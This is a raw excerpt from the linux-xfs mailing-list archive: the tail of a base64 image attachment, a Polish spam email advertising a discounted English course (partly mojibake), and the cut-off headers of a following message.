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 ------=_NextPart_000_096D_01CF2C91.8A80CA50-- From www-data@vps46525.ovh.net Tue Feb 18 03:26:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 402EF7FB3 for ; Tue, 18 Feb 2014 03:26:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0D73D8F804B for ; Tue, 18 Feb 2014 01:26:29 -0800 (PST) X-ASG-Debug-ID: 1392715585-04bdf00fc3e6710001-w1Z2WR Received: from vps46525.ovh.net (158.ip-37-187-198.eu [37.187.198.158]) by cuda.sgi.com with ESMTP id 1UYYvoUvBphgA9vl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 18 Feb 2014 01:26:27 -0800 (PST) X-Barracuda-Envelope-From: www-data@vps46525.ovh.net X-Barracuda-Apparent-Source-IP: 37.187.198.158 Received: from vps46525.ovh.net (localhost.localdomain [127.0.0.1]) by vps46525.ovh.net (8.14.4/8.14.4/Debian-4) with ESMTP id s1I9QPMW011329 for ; Tue, 18 Feb 2014 10:26:25 +0100 Received: (from www-data@localhost) by vps46525.ovh.net (8.14.4/8.14.4/Submit) id s1I9QPIC011328; Tue, 18 Feb 2014 10:26:25 +0100 To: linux-xfs@oss.sgi.com Subject: =?UTF-8?Q?Uwaga_-_zosta=C5=82y_ostatnie_3_dni?= Date: Tue, 18 Feb 2014 10:26:25 +0100 X-ASG-Orig-Subj: =?UTF-8?Q?Uwaga_-_zosta=C5=82y_ostatnie_3_dni?= From: Weronika Nawrocka Reply-To: weronika.nawrocka.edu@gmail.com Message-ID: X-Priority: 3 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_b6c52fa9ae4d48b3ccd6e4e37af0b938" X-Barracuda-Connect: 158.ip-37-187-198.eu[37.187.198.158] X-Barracuda-Start-Time: 1392715586 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145239 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 --b1_b6c52fa9ae4d48b3ccd6e4e37af0b938 Content-Type: text/plain; charset = "UTF-8" Content-Transfer-Encoding: 8bit Informujemy, że w dniach 17-20.02.2014r. odbÄ™dzie siÄ™ nabór na kurs jÄ™zyka angielskiego. Jest to IV edycja projektu "Każdy DorosÅ‚y Polak Mówi po angielsku" Kod upoważniajÄ…cy do 61% zniżki na szkolenie: E1402 Liczba miejsc ograniczona, decyduje kolejnść zgÅ‚oszeÅ„. ZajÄ™cia: - Angielski dla poczÄ…tkujÄ…cych (A1/A2), - Angielski dla Å›rednio-zaawansowanych (B1) ZajÄ™cia trwajÄ… 12 miesiÄ™cy. Wszyscy studenci objÄ™ci sÄ… opiekÄ… metodycznÄ…. SzkoÅ‚a JÄ™zykowa Dobra Zuza jest placówkÄ… ksztaÅ‚cenia ustawicznego wpisanÄ… do ewidencji szkół i placówek niepublicznych prowadzonej przez m. st. Warszawa pod numerem 1052 K. ZaÅ›wiadczenia o ukoÅ„czeniu kursu wydawane sÄ… na podstawie §18 ust. 2 rozporzÄ…dzenia Ministra Edukacji Narodowej z dnia 11 stycznia 2012 r. w sprawie ksztaÅ‚cenia ustawicznego w formach pozaszkolnych (Dz. U. poz. 186, z późniejszymi zmianami). Na zajÄ™cia można zapisywać siÄ™ indywidualnie lub grupowo. Istnieje możliwość otrzymania faktury. Szczegółowe informacje o naborze dostÄ™pne sÄ… na stronie: http://www.dofinansowanykurs.org Dodatkowych informacji udziela sekretariat szkoÅ‚y pod numerem: +48 22 379 65 67 (w godzinach od 8:00 do 17:00) Zrezygnuj z otrzymywania wiadomÅ›ci: http://www.dofinansowanykurs.org/mailing/unsubscribe.php?email=linux-xfs@oss.sgi.com --b1_b6c52fa9ae4d48b3ccd6e4e37af0b938 Content-Type: text/html; charset = "UTF-8" Content-Transfer-Encoding: 8bit

Informujemy, że w dniach 17-20.02.2014r. odbędzie się nabór na kurs języka angielskiego.


Jest to IV edycja projektu "Każdy Dorosły Polak Mówi po angielsku"

Kod upoważniający do 61% zniżki na szkolenie: E1402

Liczba miejsc ograniczona, decyduje kolejnść zgłoszeń.

Zajęcia:

- Angielski dla poczÄ…tkujÄ…cych (A1/A2),
- Angielski dla średnio-zaawansowanych (B1)

Zajęcia trwają 12 miesięcy.
Wszyscy studenci objęci są opieką metodyczną.

Szkoła Językowa Dobra Zuza jest placówką kształcenia ustawicznego wpisaną do ewidencji szkół i placówek niepublicznych prowadzonej przez m. st. Warszawa pod numerem 1052 K.

ZaÅ›wiadczenia o ukoÅ„czeniu kursu wydawane sÄ… na podstawie §18 ust. 2 rozporzÄ…dzenia Ministra Edukacji Narodowej z dnia 11 stycznia 2012 r. w! sprawie ksztaÅ‚cenia ustawicznego w formach pozaszkolnych (Dz. U. poz. 186, z późniejszymi zmianami).

Na zajęcia można zapisywać się indywidualnie lub grupowo.

Istnieje możliwość otrzymania faktury.

Szczegółowe informacje o naborze dostępne są na stronie:

www.dofinansowanykurs.org

Dodatkowych informacji udziela sekretariat szkoły pod numerem:

+48 22 379 65 67 (w godzinach od 8:00 do 17:00)






Zrezygnuj z otrzymywania wiadomści

--b1_b6c52fa9ae4d48b3ccd6e4e37af0b938-- From david@fromorbit.com Tue Feb 18 03:41:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6F1217FC4 for ; Tue, 18 Feb 2014 03:41:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5A1D8304043 for ; Tue, 18 Feb 2014 01:41:50 -0800 (PST) X-ASG-Debug-ID: 1392716507-04cbb00c28517520001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 7yMMcOpnd0zOIBEp for ; Tue, 18 Feb 2014 01:41:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 